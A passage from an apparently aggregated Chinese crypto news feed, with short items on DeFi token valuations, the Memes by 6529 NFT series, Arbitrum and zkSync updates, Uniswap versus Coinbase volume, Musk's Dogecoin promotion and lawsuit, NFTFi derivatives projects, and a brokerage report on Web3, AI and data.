Finance的玩家参加白名单销售和公募，短期内获得参与份额数倍的利润；DeFi矿工有更多的挖矿机会。最终，可能只有在二级市场上购买代币的散户受到伤害。 加密投资中充满了机会，但对于部分人，结局可能是残酷的。大多数DeFi项目的长期表现并不理想，MMF（Cronos）和MMF（Polygon）的FDV已经分别跌至480万美元和379万美元，总量同样为5亿枚，而目前MMF（Arbitrum）的FDV为1.65亿美元。但这并不妨碍前面三种类型的参与者从中获利，识别项目的风险，寻找适合自己的机会可能更加重要。  ( 2 min )
    24小时地板价涨达23%，马斯克喊单的The Memes by 6529是什么？
    原文：《马斯克喊单的The Memes by 6529是什么？》 作者：十文 Elon Mask 今晨发布 NFT 项目 The Memes by 6529 相关图片，使其地板价 24 小时涨幅达 23% ，交易量和交易次数也都有大幅增长，分别涨幅达 2045% 和 1000% 。查看 Opesea 上的 The Memes by 6529 系列，我们发现与其他统一画风的 NFT 项目不同，The Memes by 6529 是由不同表情包图片构成的，第一眼看上去有点杂乱无章。 但就是这个看上去有点“山寨”的项目，在马斯克喊单之前就已经小有人气。从 Opensea 上看，The Memes by 6529 的销量从去年 11 月开始回升，并在今年 1 月中旬达到高峰。彼时，The Memes by 6529 也一直占据着 Opensea 热门收藏排行榜前 5 名的位置。看到这里，我相信，很多 NFT 爱好者都有一个疑问，它到底想表达什么？为什么看似是表情包大杂烩的项目会受到如此多的关注？接下来，我们就来了解一下。 Punk6529 是谁？ The Memes 是由Punk6529 创建的。Punk6529长期以第 6529 号 CryptoPunks 作为头像，并在业内被称为NFT“思想家”，是 NFT 领域的知名 KOL。他于 2021 通过发表多个有深度的 NFT 帖子被大家熟知。去年 4 月，Punk6529 在推特发布了 80 多条推文，介绍了自己正在牵头构建的全新项目 Open Metaverse，包括 Open Metaverse 的设计初衷、发展理念、现状及愿景等，正式的从 NFT 收藏家转变为建设者。Open Metaverse 旨在创建一个完全去中心化的、社区驱动的元宇宙。The Memes 是该项目的一部分。 The Memes 于 2022 年 6 月 9 日推出，其想表达的是，赞成将去中心化的信息封装成醒目的或可病毒式传播的图像，他们认为通过精心设计的 Memes 比任何推文都更具有影响力。目的就是传播与数字自由相关的 Memes 思想，以及 NFT 文化中最积极的一面。此外，该项目鼓励使用其图像创作衍生作品（简称 ReMemes），作品全部为 CC0。 该系列最初是由 6529 和 6529er（创建 6529 标志的多学科设计师）制作的几个简单版本，后来，不同的艺术家为该项目做出了贡献，从摄影师到插画家再到 3D 艺术家，比如 XCOPY 和 Grant Riven Yun。 该系列包含两个 SZN（季节），Genesis SZN1 是在 2022 年发布的。SZN1 中有 8 个 Memes 主题，每个主题下面含有 2 - 11 张卡片，每张卡片含有不同数量的 NFT。SZN1 的 8 个 Memes 主题分别是： Meme 1: Seize the Memes Of Production Meme 1 包含该系列中最有价值的 Meme，前三张卡片（6529 Seizing、SeizeJPGs 和 Uncle Seize）是该系列的创世纪卡片，所有这些卡片均由 6529er 创建，该系列包括 7 张卡片。 Meme 2: WAGMI 该系列想表达的意思是我们都会成功的，Meme 2 包括 4 张卡片。 Meme 3: Don’t Let The Institutions Steal Your JPEGs 该系列想表达的意思是我们拥有使用我们的 JPEG 图片的权利。Meme 3 包含 2 张卡片。 Meme 4: GM Meme 4 展示了每个艺术家如何表达 GM。它包括 10 张卡片，都是由不同的艺术家创作的。 Meme 5: Use A Hardware Wallet Meme 5 中的每个艺术家都用了他们自己的艺术方式来表达使用硬件钱包的重要性，它包括 6 张卡片。 Meme 6: Open Metaverse / OM Meme 6 契合开放元宇宙概念，共有 11 张卡片。 Meme 7: Freedom To Transact Meme 7 所传达的信息是自由，共有 2 张卡片。 Meme 8: Freestyle Meme 8 没有特定的主题，主打随性，包含 4 张卡片。 The Memes 系列的所有 NFT 都是 ERC-1155 版本，并在独立的 Manifold 合约上铸造的，数据保存在 Arweave 上。 目前，SZN2 正在进行中，The Memes 预计将在 2023 年运行 4 个 SZN，时间表可以从这里查看。已知的是它将有 3 个新模因：Survive，Not Your Keys、Not Your Coins 和 Digital Rights Characters。 如果对该系列 NFT 感兴趣的可以关注官方铸造网站，每个 NFT 的铸造成本是 0.06529 ETH。但是官方会不定期的开展空投活动，每一季的空投数量不同。  ( 3 min )
    Arbitrum社区发布“将诈骗者列入黑名单并向受害者退款”的新提案
    PANews 4月4日消息，Layer 2网络Arbitrum社区发布了一箱新提案，提议将将诈骗者列入黑名单并将其资金退还给无法领取ARB空投的受害者。为实施该提案，DAO将需要分配资源用于开发报告和黑名单流程，并制定确定退款资格的指南。DAO还需要与其他去中心化金融平台和中心化交易所合作，共享黑名单，防止骗子套现。该提案将需要持续监测和评估，以确保其有效性。  ( 1 min )
    zkSync：部分用户存款失败，将在24小时内部署修复程序
    PANews 4月4日消息，zkSync在其官方Discord社区表示，注意到部分用户在zkSync Era网络出现存款失败问题，有部分用户可能会失去他们的gas费，团队正在努力修复，预计将在未来24小时内部署修复程序。  ( 1 min )
    Uniswap 3月交易量大超Coinbase，我们能获得哪些启示？
    编译：Cindy，SophonLabs 近期去中心化交易所Uniswap的现货市场交易量一度高于知名中心化交易所Coinbase。Uniswap无需中间商或交易费用，而是通过智能合约自动完成交易，使得交易更加便捷。Coinbase则是一个中心化的加密货币交易所，提供交易、存储和管理加密货币的服务，以及与传统金融机构的合作和监管合规等方面的优势。Uniswap和Coinbase应该被视为加密货币生态系统中的不同组成部分，共同促进着加密货币的发展和普及。 据The Block Research发布的数据显示，在2023年3月份，去中心化交易所Uniswap的现货市场交易量高达716亿美元，这一数字比同期的中心化交易所Coinbase494亿高出了整整45%。Coinbase3月份交易量虽然比2月份的400亿美元有所增长，但其交易量已经连续两个月低于Uniswap，这反映出去中心化交易所在加密货币市场上的不断增长和影响力的不断扩大。未来Uniswap是否会延续高交易量的优势？让我们先盘点下去中心化和中心化交易所的发展史。 去中心化交易所（Decentralized Exchange，DEX）是一种基于区块链技术的交易平台，与传统的中心化交易所不同，它不依赖于单一的中央服务器或管理机构，而是由智能合约来执行交易和管理资金。在去中心化交易所上，用户可以直接与其他用户进行交易，而无需通过中介机构或交易所进行交易。去中心化交易所通常更加安全、透明和去信任化，因为它们不需要用户将资金存储在交易所的账户中，而是通过智能合约将资金存储在区块链上，从而减少了中心化交易所可能存在的安全风险。 Uniswap发展史 Uniswap是加密货币领域中最大的去中心化交易所之一。它运行在以太坊上，采用自动做市商协议（AMM）来实现ERC-20代币的兑换，而非传统的现货市场订单。该协议是由工程师海登·亚当斯（Hayden Adams）于2018年底发起，灵感来源于以太坊联合创始人Vitalik Buterin的一篇帖子。截至2023年4月，Uniswap已更新至v3版本，最新版本于2021年5月发布。 Uniswap通过鼓励流动性提供者投入加密货币并创建流动性池来维持平台运营。交易者可以使用这些流动性池来进行交易，而无需在现货市场上寻找匹配的买家或卖家。这种交易方式不仅更快速，而且更具流动性。Uniswap的独特之处在于，它无需中间商或交易费用，而是通过智能合约自动完成交易，使得交易更加便捷。 Coinbase是一家成立于2012年的加密货币交易所，总部位于美国旧金山。它曾经只支持比特币的交易和存储，但随着时间的推移，逐渐发展成为全球最大的加密货币交易所之一。Coinbase在其发展历程中推出了多个产品和服务，包括比特币支付系统、交易平台Coinbase Pro和加密货币支付的电子商务平台Coinbase Commerce等。Coinbase于2021年在纳斯达克上市，成为首个上市的加密货币交易所，并计划在未来几个月内支持更多加密货币的交易。 Coinbase并没有经历过像Mt.Gox这样的大规模安全漏洞或黑客攻击，但它也曾面临一些危机和挑战。 在2019年，Coinbase Pro交易平台发生了一次价格闪崩事件，导致比特币价格在该平台上暴跌30%。Coinbase后来表示，这是由于一名交易者在该平台上下了一个异常大的卖单，导致市场价格下跌。然而，一些交易者质疑Coinbase是否有足够的市场监测和风险管理措施来避免这种事件的发生。 此外，Coinbase也曾面临监管挑战。在2018年，美国证券交易委员会（SEC）对Coinbase展开调查，要求其提供有关其交易平台上数字资产的信息。Coinbase后来表示，他们与SEC合作，并在其交易平台上采取了一些措施以遵守相关法规。 虽然Coinbase面临着一些挑战和危机，但它一直致力于提供安全、可靠和合规的加密货币交易服务，并且在加密货币行业中心化交易所领域保持着领先地位。 去中心化交易所由于智能合约作为底层，遵循代码即法律的原则，没有人为操纵的可能，整个交易流程更加市场化程序化。且加密货币一直由散户自己控制，加密财产自我保存，更加安全。而中心化交易所背后由组织来控制，数据等存在造假的可能，散户在信息上处于劣势，会造成不平等交易出现损失的情况。而且散户置于中心化交易所的代币都不是自己控制，私钥存在于交易所中由交易所控制。以前还存在过中心化交易所转移用户代币的情况。 对于熟悉区块链底层逻辑的用户，Uniswap是更好的更安全的选择。在高度互联网的情况下，用户自学使用去中心化交易所并不是难事，这也是为什么Uniswap的交易量日益攀升。但随着中心化交易所在监管下日益成熟，散户的资产安全可以得到保证，交易所造假情况得到改善，可能也会吸引更多的散户交易。 虽然Uniswap和Coinbase都是加密货币交易所，但它们的商业模式和定位有所不同，不存在直接的竞争关系。Uniswap是一个去中心化的加密货币交易协议，通过智能合约和流动性池来实现加密货币的兑换和交易，无需中间商或交易费用。而Coinbase则是一个中心化的加密货币交易所，提供交易、存储和管理加密货币的服务，以及与传统金融机构的合作和监管合规等方面的优势。 虽然Uniswap和Coinbase的商业模式不同，但它们在加密货币领域都发挥着重要作用，并且都在不断发展和创新。Uniswap的出现推动了去中心化交易所的发展和普及，而Coinbase则在加密货币市场的合规和监管方面发挥了重要作用。因此，Uniswap和Coinbase应该被视为加密货币生态系统中的不同组成部分，共同促进着加密货币的发展和普及。  ( 1 min )
    推特“蓝鸟”变“狗头”，马斯克多次“任性喊单”面临2580亿美元集体诉讼
    特斯拉CEO埃隆·马斯克再次“带货”狗狗币。4月4日，任性的马斯克突然将推特广为人知的蓝鸟标志变更为狗狗币表情头像，引发市场热议。受此影响，狗狗币日内涨幅最高超42%，总市值已超过130亿美元。 随后，马斯克还在推特发布含有狗狗币的图片，“一名警察在检查上面有蓝鸟标志的证件，但狗狗币头像却表示‘那已经是旧照了’。”目前，马斯克是否永久将推特Logo进行更改还尚未可知。同时，马斯克还在推特上发布了一张来自Punk 6259推出的Meme Card系列中的“SeizeJPGs” NFT，此举将该作品价格从几天前的0.5 ETH最高飙升到超过2.7 ETH。 作为狗狗币教父，马斯克一直不遗余力地为狗狗币代言。虽然狗狗币诞生于一个玩笑，只是创建者用自带魔性的Doge狗头表情包来讽刺圈内投机氛围的“空气币”，但其衍生出来的Meme文化却使之备受市场追捧。从2019年开始，马斯克就在公开场合毫不吝啬地表达对狗狗币的喜欢，甚至曾将自己的推特个人账户信息修改为“狗狗币CEO”。 不仅如此，马斯克还将狗狗币和旗下公司业务相结合，比如特斯拉还将狗狗币作为部分商品的支付手段，包括推出了仅支持狗狗币购买的定制口哨Cyberwhistle等；The Boring Company允许客户使用狗狗币支付其拉斯维加斯交通系统的乘车费用、香水Burnt Hair支持使用狗狗币支付等；SpaceX公司将其中一颗发射的卫星命名为“DOGE-1”；马斯克还曾以开玩笑口吻表示狗狗币应该是推特订阅的一种可接受的付款方式。此外，马斯克个人和特斯拉均持有狗狗币。 而在2022年3月，马斯克曾在推特上提问称，“是否需要一个新平台？”有网友评论称，买下推特并把蓝鸟标志换狗头。对此，马斯克回复称：“哈哈，那太恶心了”。时隔一年，马斯克“兑现了承诺”，不仅成功收购了推特，还将推特蓝鸟标志换成狗狗表情包。 马斯克效应下，不仅让全球越来越多的投资者开始关注狗狗币，且其价格也随之大幅波动，但这种代言行为也为他本人带来了麻烦。 2022年6月，一名美国狗狗币投资者在纽约曼哈顿联邦法院对马斯克及特斯拉和SpaceX提出诉讼，索取高达2580亿美元的赔偿。该起诉者声称，马斯克和他旗下公司特斯拉及SpaceX实施了一场“金字塔骗局”，他利用自己世界首富的地位运作和操纵狗狗币金字塔式骗局，在两年内故意将狗狗币的价格推高了360倍以上后让价格崩盘，以获取利润、曝光度并获得乐趣。同时，该诉讼还要求禁止马斯克及旗下多家公司进一步推广狗狗币。 对此，马斯克及特斯拉律师称，狗狗币投资者对马斯克“无伤大雅且经常是愚蠢的推文”提起的诉讼是一部“幻想小说”。投资者从未解释马斯克如何进行欺诈，或者他隐瞒了什么风险。马斯克的“狗狗币Rulz”和“没有高点，没有低点，只有DOGE”等发言过于模糊，无法支撑欺诈指控。在推特上发布关于一种合法加密货币的支持言论或有趣的图片，这并不违法。同时，在向曼哈顿联邦法院提交的一份文件的脚注中，马斯克的律师还驳回了投资者关于狗狗币符合证券资格的说法。根据最新诉讼进展，马斯克已要求美国法官驳回狗狗币投资者对其提起的2580亿美元集体诉讼，并让原告停止幻想。 鉴于马斯克的号召力，其一言一行往往会引发相关市场价格波动，特别是狗狗币等容易大起大落的金融产品，投资者应对其“喊单行为”谨慎判断。  ( 1 min )
    NFTFi衍生品赛道早期探索：下一个“Blur”在哪里？
    原文：《早期探索：NFTFI 衍生品赛道及项目盘点 nftperp、tribe3、putty 等》 作者：Maverick 注：本文撰写于2月14日，一些数据可能出现延迟 过去一个月，NFT 市场交易量久违地出现反弹，NFTFI 也重新活跃起来，具有真实收益的 NFT 交易市场和借贷平台的 Token 迎来了大幅上涨。不过未来很有可能又会有新的模仿者以 Blur 的方式瓜分 NFT 交易市场的交易份额，那么市场又会面临内卷持续加剧的状态。 NFT 交易市场的主要贡献来自于蓝筹 NFT 挂单交易即现货，对于蓝筹 NFT 交易流动性的争夺是 NFT 交易市场内卷的重要对象之一。但是蓝筹 NFT 单价较高，普通散户往往很难像大户或巨鲸那样以复杂性和技巧性的交易策略去参与。因而根据 CEX 期货交易量远高于现货交易量的经验，NFTFI 有意识地往衍生品方向去发展，以帮助散户通过杠杆化手段参与蓝筹 NFT 交易，贡献更多的交易量。 本文将聚焦于 NFTFI 衍生品项目，帮助用户更早地识别衍生品赛道机会。 注：NFTFI 衍生品赛道尚处于早期，存在相当多的不确定性。本文仅作为信息分享，不对所述项目做任何背书，无任何利害关系。 nftperp nftperp 是建立在 Arbitrum 上的 NFT 永续合约去中心化交易所，是目前成熟度和关注度最高的 NFT 期货交易所。用户可以使用 ETH 作为币本位并使用杠杆（杠杆上限为 10 倍）进行做多或做空交易。当前 nftperp 处于私人测试中，开放了 Azuki、BAYC、MAYC、Milady、CryptoPunks 五种 NFT 的期货交易。nftperp 使用独创的 vAMM（虚拟自动做市商）机制保持 NFT 期货交易流动性，以及在地板价的基础上使用了 NFT 价格评估协议 Upshot 集成的 Chainlink 预言机数据进一步保证了地板价的真实性与及时性。该平台采用 Keeper bots 清算机制，在清算时平台将会赚取名义头寸规模的 1.25%。除了为用户提供的交易基础功能，nftperp 还提供了类似于 FT 交易的 K 线图表、聊天室等功能辅助用户交易。 Mimicry Mimicry Protocol 是构建在 Polygon 上的 NFT 期货市场，利用 Chainlink 预言机进行价格更新。目前 Mimicry 仍属于测试状态，用户可以使用 USDC 或 LINK 作为标的物对 World of Women 进行做多或做空交易，但暂不能添加杠杆。未来除了 USDC 和 LINK 外，还可能拓展至使用 WETH、BNB、MATIC、APE、USDT、DAI 等开仓。 Tribe3 Tribe3 自称为第一个游戏化 NFT 期货交易所，构建于 Ethereum，在当前测试网阶段中支持 Azuki、BAYC、CryptoPunks、Meebits、Doodles、Clone X、Moonbirds 六种交易标的。用户存入 ETH 即可以开始交易，最大使用杠杆为五倍。当用户头寸抵押率低于 10% 时，则会被清算。用户在交易时相当于与其他交易用户进行 NFT 部落战，并可以在竞争种获得点数和物品奖励，以创建个性化的 NFT 头像。当前 Tribe3 正在测试网中举行交易大赛。 NFEX NFEX 是一个构建在 Ethereum 上的 NFT 衍生品协议，允许用户以最大 10 倍杠杆做多或做空 NFT 地板价。目前 NFEX 处于邀请制测试阶段，支持 BAYC、MAYC、Azuki、CryptoPunks 和 Clone X 五种 NFT 的期货交易，维持保证金均为 2%，其交易价格来自于其独特的 NFEXP 指数——来自 Blur、OpenSea、LooksRare 和 X2Y2 的地板价根据相应比例进行加权平均值计算 。NFEX 收取 0.25% 的交易费用，并正通过向做市商偿还 0.05% 费用的激励手段来加强交易活动已获得更优的深度。 Putty Putty 是构建在 Ethereum 上点对点的 NFT（ERC 721）和 Token（ETH 或 ERC 20）期权市场，用户可以为单一资产（某一个 NFT 系列的地板价或某一个 NFT 系列中的某个单品）或一篮子资产的看跌和看涨期权创建买入或卖出限价指令。用户的头寸本身即是一种 NFT：OPUT，因此它可以被用于在用户钱包间的转移。用户可以使用 WETH、DAI、wsETH 三种资产创建期权限价订单。目前支持的 NFT 除了诸如 BAYC、MAYC、Azuki 等蓝筹 NFT 外，还包括 Art Gobblers、The Saudis、Otherdeed、ENS 等共 18 种；Token 则包括 UNI、SHIB、WBTC、WETH、DAI 和套娃 NFTX 协议的 NFT 流动性 Token。Dune Analytics 数据显示，Putty 共完成了 22.1 万美元的期权交易量，目前市场上有 Azuki 89、SHIB 和 MILS 的期权限价订单。 Cally Cally 是建立在 Ethereum 和 Optimism 上，能为用户所持有的 NFT 或 ERC 20 Token 创建 Covered Call Vault 的协议。Covered Call=Long Stock + Sell OTM Call，即用户持有 NFT/ERC 20 Token 的同时，卖出相对应的看涨期权。用户可以为其持有的 NFT 或 xNFT Token（如应用在 NFT 流动性协议 NFTX 上的流动性 ERC20 Token）来创建 Covered Call Vault，目前主要包括 BAYC、MAYC、Doodles、Milady maker 和 Forgotten Runes Wizard's Cult 以及这些 NFT 在 NFTX 上创建的流动性 Token。用户可以选择 0.05-2.5 ETH 的周期收益率，7、14、30 和 90 天的周期持续时间以及拍卖起始价和底价。Call Vault 被创建完成后，看涨期权就会被列出并开始 24 小时荷兰式拍卖，行使价不断下降直到感兴趣的期权买家出现。通过 Cally，可以帮助一些长期看好某个收藏品，但认为该收藏品在短期内不会上涨的用户赚取期权溢价的利润。 Hook Protocol Hook 是构建在 Ethereum 上的 NFT 欧式看涨期权协议，采取混合现金和实物结算方式。目前提供 Lil Nouns、Otherdeeds、Chromie Squiggle、MAYC、Friendship Bracelets 等11种 NFT 期权交易，其中在过去 30 天 MAYC 期权市场已经完成了 40.864k ETH 名义交易量。Hook 通过在期权到期前一天开始拍卖相关的 NFT 资产来结算期权，若竞标者在结算拍卖中出价高于执行价格，NFT 就会被出售。期权卖方实则类似于实物结算，收到了执行价格；期权持有人则类似于现金结算，受到出价和执行价格之间的差额。此外，期权持有人只需要在结算期权中出价即可以完成 NFT 实物交割，并在期权关闭后收到高于执行价格的任何出价金额的退款。Hook 收取出售期权时 10% 的费用。目前 Hook 通过了 Sherlock 的审计，并投保了 500 万美元的保险。 Fetα Fetα 是构建在 Ethereum 上的零费用的 NFT 期权交易市场，用户可以在该平台上交易排名前 20 的蓝筹 NFT 期权。目前测试网阶段中提供了 Milady Paper 的看涨和看跌期权交易，此外该协议不针对某一个 NFT 系列地板价作交易，而是细分到某一个 NFT 系列中的某一个。用户可以使用官方建议的定价模型协助下进行期权定价。除了 Covered Call 外，期权卖方未来还可以通过出售 WETH 担保看跌期权赚取费用。此外，Fetα 已确认发布 FETA Token，作为 DAO 治理的一部分，对改进提案进行投票。 Nifty Options Nifty Options 自称是 Ethereum 上的第一个 NFT 期权协议，支持 BAYC、0N1 Force、Cool Cats 等 15 种 NFT 资产中的具体某一个 NFT 的期权创建，本质是一个卖出看跌期权的操作，需要用户自定义设置期权费金额、执行价格和到期日。同时用户也可以在市场上买入 NFT 持有者创建的看跌期权。 举一个例子，比如 A 以 75 ETH 购买了一个 BAYC，为了实现对冲，A 可以将 BAYC 存入 Nifty 并设置（卖出）期权费为 1 ETH、执行价格为 60 ETH 和 6 个月期限的看跌期权。市场上的所有用户比如 B 可以通过履行期权马上获得 1 ETH，前提是 B 要在 Nifty 中存入 60 ETH（执行价格）直到到期日。履行期权的用户 B 无论在任何情况都将保留 1 ETH 的奖励，作为锁定托管的 ETH 并可能可能失去它以获得 NFT 的奖励。在到期日前，如果期权创建者 A 取消期权，则 60 ETH 将会被返还给行权者 B；行使期权，则期权创建者 A 获得 60 ETH，行权者 B 获得 NFT。在到期日后，若期权创建者 A 没有任何的操作，则履行期权的用户 B 或市场上的其他用户都可以将该期权取消，NFT 返还给期权创建者 A，ETH 返还给行权者 B。 Wasabi Wasabi 是构建在 Ethereum 上的点对点的去中心化的 NFT Covered 期权协议，目前处于白名单制测试阶段中，计划在第一季度末上线。Wasabi 通过 ERC 721 标准铸造期权头寸，因此用户购买期权会收到代表其期权的 ERC 721 Token。在到期日前，用户可以将这些 ERC 721 Token 行权；即便过期了，用户也可以保留，但其将失去任何功能。用户还可以利用 Wasabi 期权创建 Wasabi pool，以此来创建杠杆多头或空头 ETF。此外，Wasabi 的结算系统是独立于 NFT 地板价，最终由期权持有人决定是否行权，而无需考虑地板价是多少。 Wasabi 在 1 月 5 日- 3 月 15 日之间举行测试网交易大赛，排名靠前者将有机会赢得 ETH 和 Wasabi NFT 及白名单奖励，而 Wasabi NFT 将是未来 Token 空投的重要权重。 Decalls Decalls 是构建于 Solana 上的第一个 NFT 期权交易平台，由 Solana P2P NFT 交易自动托管平台 Yawww 团队所构建。Decalls 将于 2 月 14 日在 Solana 主网正式上线，将来还会扩展至 Ethereum。该平台允许用户使用低至 0.1 SOL 便可参与 Solana 链上的蓝筹 NFT 期权交易。此外，Decalls 还将发行 15,000 个 Future Traders NFT，平台所有收入将分享给 Future Traders 持有者，其中团队将保留 Future Traders NFT 供应量的 10% 以作为业务成本支付。 不可否认的是，尽管 PFP、Marketplaces、借贷等领域有所发展，但 NFT 整体还处于非常早期的阶段，而 NFTFI 衍生品赛道更是处于早期中的早期，其中存在着相当大的不确定性。如何扩大用户增量和调控流动性仍然是 NFT 赛道的主要问题。若最终 CEX 期货交易的经验被认为可借鉴的话，NFT 衍生品将有可能以杠杆化地方式带动更规模化的用户主体，包括专业交易员和做市商，参与到蓝筹交易中来，并带动 NFT 交易策略的技巧性变革，那么这个领域将是价值洼地。  ( 5 min )
    Web3.0如何驱动AI和数据要素的发展?
    原文：《Web3.0驱动下的AIGC与数据要素：开放、安全与隐私》 作者：宋嘉吉 任鹤义 Chatgpt作为最火热的AI产品，其内容生产力是惊艳的，但站在更高层面看，未来Web3.0世界面临两个重要问题：一、数据要素市场的建立，如何解决数据确权和隐私保护？二、AIGC是生产力机器，数据是能源资源，该如何将工业机器和能源资源有效地进行配置？Web3.0为二者提供了高效运转的经济规则和治理规则，就像操作系统一样，为AI生产力、数据要素提供更开放的连接交互和最高效的市场配置。 数据隐私的真谛是确权和授权——即用代码合约明确数据的所有权，通过代码合约完成数据使用权的授权和支付交易。在数据领域，AI与区块链的结合，一方面是数据层，两者可以互相渗透，完全数据确权；另一方面是从应用层面入手，两者各司其职，AI负责自动化的业务处理和智能化的决策，区块链负责在数据层提供可信的授权。这样，数据作为重要的资源，AI作为生产力更有的放矢。 We3.0时代将为AI、数据要素提供一套开放的经济和治理系统。AI作为强大的生产力机器，产出能力无可厚非，但AI输出价值的背后需要一套经济系统和治理系统作为支撑。如果将AI比喻为工业机器，那么数据将是石油等基础资源，而光有工业机器和资源是无法运行的，将工业机器和资源整合的市场经济系统才是价值产出的灵魂；Web3.0就是这样的经济和治理系统，为AIGC（生产力工具）、数据要素、资产和治理提供了一套开放的“操作系统”，AIGC将在Web3.0世界如鱼得水。 1）在AI对数据资源的快速“消耗”背景下，如何在AI训练演化的整个流程周期中对数据完全确权、隐私保护和费用结算？这些离不开Web3.0时代各类数据隐私保护应用的加持。 2）如何将AI强大的生产力机器打造成有组织、有智慧的生态系统，还需要机器智慧之外的使得AI、数据要素这些重要资源实现更有效的“配置”。这就像是把AI的能力“云化”：一方面是AI生产力的获取分散化、去中心化，可以将多方的资源连接在一起；另一方面这种“云化”是将更多分散的AI工具、资源、知识在一个平台/市场上解决付费和经济生态的问题。 3）DeFi和DAO作为经济系统和治理系统，是Web3.0时代最具特色的存在。AI生产力和数据资源需要经济系统提高配置效率，亦需要治理系统的监管。AI作为生产力工具，需要一套经济/金融系统来解放其价值潜力：DeFi提供了一种解决方案。Web3.0时代，不仅要解决数据要素市场的问题，AI算法本身的经济规则也应该有更开放的解决方案——利用更开放、更广泛的智慧和资金支持AI算法的演进。 投资建议：OpenAI的异军突起、AIGC的快速迭代让数据安全、伦理、隐私等问题更加突出。在数据要素+AI的趋势下，如何在安全、高效之间取得平衡将成为热点。二级市场，我们聚焦： 1）三大运营商，中国电信、中国移动、中国联通； 2）可视化产业链：浩瀚深度、恒为科技、中新赛克； 3）内容审查与IP保护：人民网、新华网、博汇科技； 4）BOSS产业链，东方国信、天源迪科、亚信科技。 风险提示：区块链商业模式落地不及预期；监管政策的不确定性。 1. 核心观点 Chatgpt作为最火热的AI产品，其生产力是惊艳的，但站在更高层面看，未来Web3.0世界面临两个重要问题：一是数据要素市场的建立，如何解决数据确权和隐私保护？二是AI是生产力机器，数据是能源资源，该如何将工业机器和能源资源有效地进行配置？Web3.0为二者提供了高效运转的经济规则和治理规则，就像操作系统一样，为AI生产力、数据要素提供更开放的连接交互和最高效的市场配置。 数据要素的核心问题是确权和隐私保护，AI生产力需要全世界各方更广泛、更开放的连接与交互，这些问题在Web3.0世界得到了很好的解决。本报告从数据、AI“云化”和AI经济价值挖掘三个维度看Web3.0如何驱动AI和数据要素的发展，打造更开放的经济生态。 AI时代，随着人脸识别等技术的发展，用户在体验AI服务的同时，时刻都在担心数据泄露风险。这给AI的推广和发展带来了一定阻碍。数据要素是AI工业机器的重要能源，因此，如何解决数据确权、数据安全和隐私保护成为行业发展必须解决的重要问题。 Web3.0提供了数据市场的治理规则。移动时代以来，尤其是AIGC这种跨时代技术的推动下，数据隐私的保护呼声愈烈，一方面是人们对数据作为一种潜力巨大的价值资源的认识越来越清晰，另一方面作为最密切的产生者，用户越来越注意数据隐私的保护。过去的互联网模式，数据主要存储在互联网公司的云端，用户很难声明对数据的所有权；互联网不断产生的庞杂数据的确权也是出于模糊的“无主”状态，但所有数据实际上都是掌控在互联网公司手中——无论他们如何声明不会泄露数据，不泄露数据不代表我们享有所有权。越来越多的智能服务背后离不开来自于互联网公司AI机器人利用个人隐私数据进行机器学习的结果，这个过程中，用户是被动的，利益上存在受损的嫌疑。Gartner预测，到2024年用于训练AI的数据中有60%将是合成数据，而AI合成的数据又该如何确权，也是一个重要的问题，Web3.0时代正是为这种复杂的数据产生方式提供了更开放更广泛的数据和AI算法来源。 数据隐私的真谛是确权和授权——即用代码合约明确数据的所有权，通过代码合约完成数据使用权的授权和支付交易。作为Web3.0时代的代表性技术，区块链天然就是去中心化和分布式的账本机制，具有数据加密、不可篡改、来源可溯的特点。大量移动端的数据，将由过去“无主”垄断状态，被区块链网络确权给用户，而AI所需要的个人数据，可以由用户向使用方授权完成，甚至费用可以以Token的形式在区块链上完成结算。在数据领域，AI与区块链的结合，一方面是数据层，两者可以互相渗透，完全数据确权；另一方面是从应用层面入手，两者各司其职，AI负责自动化的业务处理和智能化的决策，区块链负责在数据层提供可信的授权。这样，数据作为重要的资源，AI作为生产力更有的放矢。 Web3.0时代，AI和数据要素的演化，将重构互联网商业生态。过去20年互联网巨头们依靠享受大量数据的支配权（实际上用户一直认为数据是属于他们）和强大的网络效应掌控了互联网的主要资源和价值。在技术的快速发展过程中，互联网的商业经历了计算机的开源、软件的开源和数据的开源，曾经的巨头垄断被不断打破。如今，随着区块链、AI和5G等信息技术的崛起，整个互联网加速由巨头互联网公司中心走向分布式和去中心化，价值垄断正在被打破。进入Web3.0时代，AI和数据要素将重构新的商业生态。 2.2Web3.0作为经济和治理系统为AI生产力提供运行逻辑 AI作为强大的生产力机器，产出能力自然是惊艳的，但AI输出价值的背后需要一套经济系统和治理系统作为支撑。如果将AI比喻为工业机器，那么数据将是石油等基础资源，而光有工业机器和资源是无法运行的——工业机器需要运行逻辑，而资源需要流通和调节供给——将工业机器和资源整合的市场经济系统才是价值产出的灵魂；Web3.0就是这样的经济和治理系统，就像组织创新、生产和流通一样，Web3.0将AI（生产力工具）、数据要素、资产和治理提供了一套开放的“操作系统”，AI将在Web3.0世界如鱼得水。 数据隐私已成为全球监管的焦点问题，现行的解决方案一是强化法律保护，利用区块链等技术完成数据确权；二是引入隐私计算，通过同态加密、多方安全计算、可信执行环境等技术，保证数据在使用过程中是明文不可见的。在AI对数据资源的快速“消耗”背景下，如何在AI训练演化的整个流程周期中对数据完全确权、隐私保护和费用结算？这些离不开Web3.0时代各类数据隐私保护应用的加持。 本节以Horizen为例探讨Web3.0时代如何在数据流转、使用过程中保护隐私。Horizen可以为用户（包括企业用户）提供一个不上传本地隐私数据前提下完成开发的基础区块链平台，企业可以借此为用户提供区块链相关服务，但又充分保护了企业的隐私数据。 Horizen原名Zencash，致力于打造隐私保护和基础区块链平台，为用户或企业可以在不上传本地隐私数据的前提下提供开发平台。Horizen由主链和侧链构成。Horizen主链主要是为用户的交互提供简单且安全的价值传输和存储层，通过原生治理代币ZEN为整个Horizen的生态运转提供支持，以及为侧链提供必要的基础架构。而具体功能的实现以及网络基础结构等均由侧链开发完成，从而能够针对特定的用例进行更为复杂的性能优化，增强其可扩展性和安全性。Horizen侧链又称Zendoo，其具有极高的扩展性和设计性。侧链有独立的共识机制与加密算法，并且真正的实现了去中心化。开发者可通过Horizen开放的一套标准通用组件ZEN侧链开发套件（SDK）来迅速完成区块链的开发，从而节省区块链的构建时间。利用侧链附带的零知识证明工具可以在不上传本地隐私数据的前提下，完成企业需求的开发。 同时，主链与侧链之间可以通过其独创的跨链传输协议CCTP（The CrossChain Transfer Protocol）实现代币ZEN以及数据的互联传输，为解决可扩展性问题提供基础保障。 Horizen采用Zk-snark（零知识证明）以及防51%攻击等安全解决方案构建了一个具有极高隐私保护性以及安全性的Web3.0区块链平台，为用户与开发者提供隐私保护。 3.2 AI“云化”：Web3.0组织AI生产力市场 